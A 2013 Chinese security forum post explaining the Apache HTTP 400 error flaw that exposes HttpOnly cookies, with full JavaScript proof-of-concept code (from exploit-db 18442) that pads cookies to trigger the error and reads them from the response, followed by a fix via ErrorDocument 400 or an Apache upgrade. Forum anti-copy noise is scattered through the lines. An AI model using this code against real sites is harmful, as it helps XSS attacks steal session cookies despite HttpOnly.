找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3169|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。6 H( R4 o$ u8 g8 c8 d

! E. ~+ x' X; A8 i用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:, z0 q! h# T, j. }

( _0 t2 X) D/ k6 S3 a0 X: P! D/ w- M. M
  k; X# n; N& k6 `% W+ H- K. N// http://www.exploit-db.com/exploits/18442/
5 t0 ?. Z) v9 D4 Kfunction setCookies (good) {
7 m  c9 e. O7 u8 x6 b+ e. n5 a// Construct string for cookie value
; c/ m! Z0 A. B! Q1 b: a! @var str = "";
# K. p' j1 E: q: d9 M. ?5 _# ?for (var i=0; i< 819; i++) {
7 J; H' V. s9 a7 |6 g) T) istr += "x";% N  t' g3 V0 v* M) ^! I
}- b2 g6 w3 c) r5 u! g7 `: {4 P. Y
// Set cookies& \4 O7 J$ N% Y: n
for (i = 0; i < 10; i++) {
& @) Q9 k: m0 G6 P% W4 d// Expire evil cookie
3 q( a4 m0 P$ @' c' ?if (good) {
' a  G1 P/ h0 {0 N3 g5 wvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";& _& Z. F$ a3 M, m
}
) ~4 h9 J1 }4 G// Set evil cookie
/ @1 W9 g$ P5 m; f+ C% Oelse {4 s8 d; f, ]: c( N7 A* L
var cookie = "xss"+i+"="+str+";path=/";
3 v+ ~) J$ T$ ?( |2 g: }% N& O* N: \}5 X" _: C/ B" j. Q
document.cookie = cookie;: F4 a, T) p9 s9 ?' P, q* \% a
}$ C3 ?; i! B6 \% s/ k4 h
}
% n! d' z" t; u8 ~( ^function makeRequest() {
# R$ q4 A4 R& ]3 Z) B/ fsetCookies();
% {; G2 p) v' M" [* {; r2 Hfunction parseCookies () {6 X' q* |( _7 K8 N  ~- z
var cookie_dict = {};" V" E- g9 I% j( C& f
// Only react on 400 status" K# O% K+ L) N+ Q1 V
if (xhr.readyState === 4 && xhr.status === 400) {
8 \* k4 X2 c1 \7 f! v0 f// Replace newlines and match <pre> content4 I6 W6 z! W+ J
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);( p, S6 W+ |9 o4 {
if (content.length) {
+ ^" g7 L" X7 \// Remove Cookie: prefix
+ L5 h6 z+ B6 h& V. m1 k% b* hcontent = content[1].replace("Cookie: ", "");
% Z, T5 i/ o! @5 {, |6 X* tvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
! ?3 k1 c+ W2 w6 S# c9 g// Add cookies to object
, x/ d1 n. H! d0 ?for (var i=0; i<cookies.length; i++) {: m+ S9 i$ [) F. V) K0 ~
var s_c = cookies.split('=',2);
% l8 g0 A) B' g. ~- Jcookie_dict[s_c[0]] = s_c[1];6 K- l5 \) H7 H) k( V# E  r* c
}
" I! q1 }# }; n$ |9 R) R2 T- J. [}
  S/ O$ N$ x3 J: m5 _4 B( Y// Unset malicious cookies
$ y2 S: H1 D( Q) jsetCookies(true);8 K# @! `& C2 i, C0 y
alert(JSON.stringify(cookie_dict));
2 u. o5 [7 Y( e- I; K1 \0 ?}* R) ?- z( v- V/ B0 d' I+ ~
}
- i: S% \1 r+ N! }8 d9 v// Make XHR request$ ^4 @) z8 F. i5 u. s3 R5 G' o
var xhr = new XMLHttpRequest();
) z4 y& O9 I. Xxhr.onreadystatechange = parseCookies;7 m/ V/ p/ j! {/ ?! h
xhr.open("GET", "/", true);2 ?# \7 f( q& i9 y8 J- d  [& x
xhr.send(null);, i5 f) n' b; p- ~% e
}+ R" d" m. U! }( g* P: {/ n; V
makeRequest();
1 z5 _1 P* x5 G! v8 d9 G# g7 |
4 l& j8 r6 K5 [- w你就能看见华丽丽的400错误包含着cookie信息。
' g) D+ s' p6 d! o
+ \; e4 a- |0 _( ]9 ~) Q6 ?" f1 B4 H下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#* \: [# U; X/ S: a+ Q4 q5 C0 W

0 I) i2 K$ s$ \" P& U- l修复方案:
5 n% G3 \$ B3 I5 Q, S( Q( }
; `+ C! D* a. m+ U: s6 T6 UApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
! b* P7 v) S: {8 ^% F: B  P1 k% w# f/ {2 Z. g
In the event of a problem or error, Apachecan be configured to do one of four things,0 |4 E3 P- _( l
+ _% u3 O8 B7 u: v" B# i2 i# u
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
0 y- j( _! q, f. h3 G% n2. output acustomized message输出一段信息
2 M8 Q9 x+ x3 v# c' \. s5 O  \3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
/ [/ z! s' h/ c5 p9 R4. redirect to an external URL to handle theproblem/error转向一个外部URL7 x. q. J: P+ }( i4 x
5 ?4 h, j: m' |; h1 o
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容5 {- C; ?* M9 k" ^: K* h
) R- G5 {/ v& v5 g8 J  q% i' U
Apache配置:
7 T9 g; @4 I7 f3 ?# b3 R4 z% r9 t5 f) K1 y. m% W6 n% _( P
ErrorDocument400 " security test"
) B) k- E1 k& a1 h& i  ]3 p9 Z
* M6 \+ s* I9 j. q& u) S% ?当然,升级apache到最新也可:)。
0 O9 g' f* S/ p: Q' C" B8 p, v
& A# V) T: ]% ~, P- w参考:http://httpd.apache.org/security/vulnerabilities_22.html
4 D. Q- d, W* m; t5 J
6 v: C( {4 y) ~1 l: c4 L) ]  S( w2 K3 Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表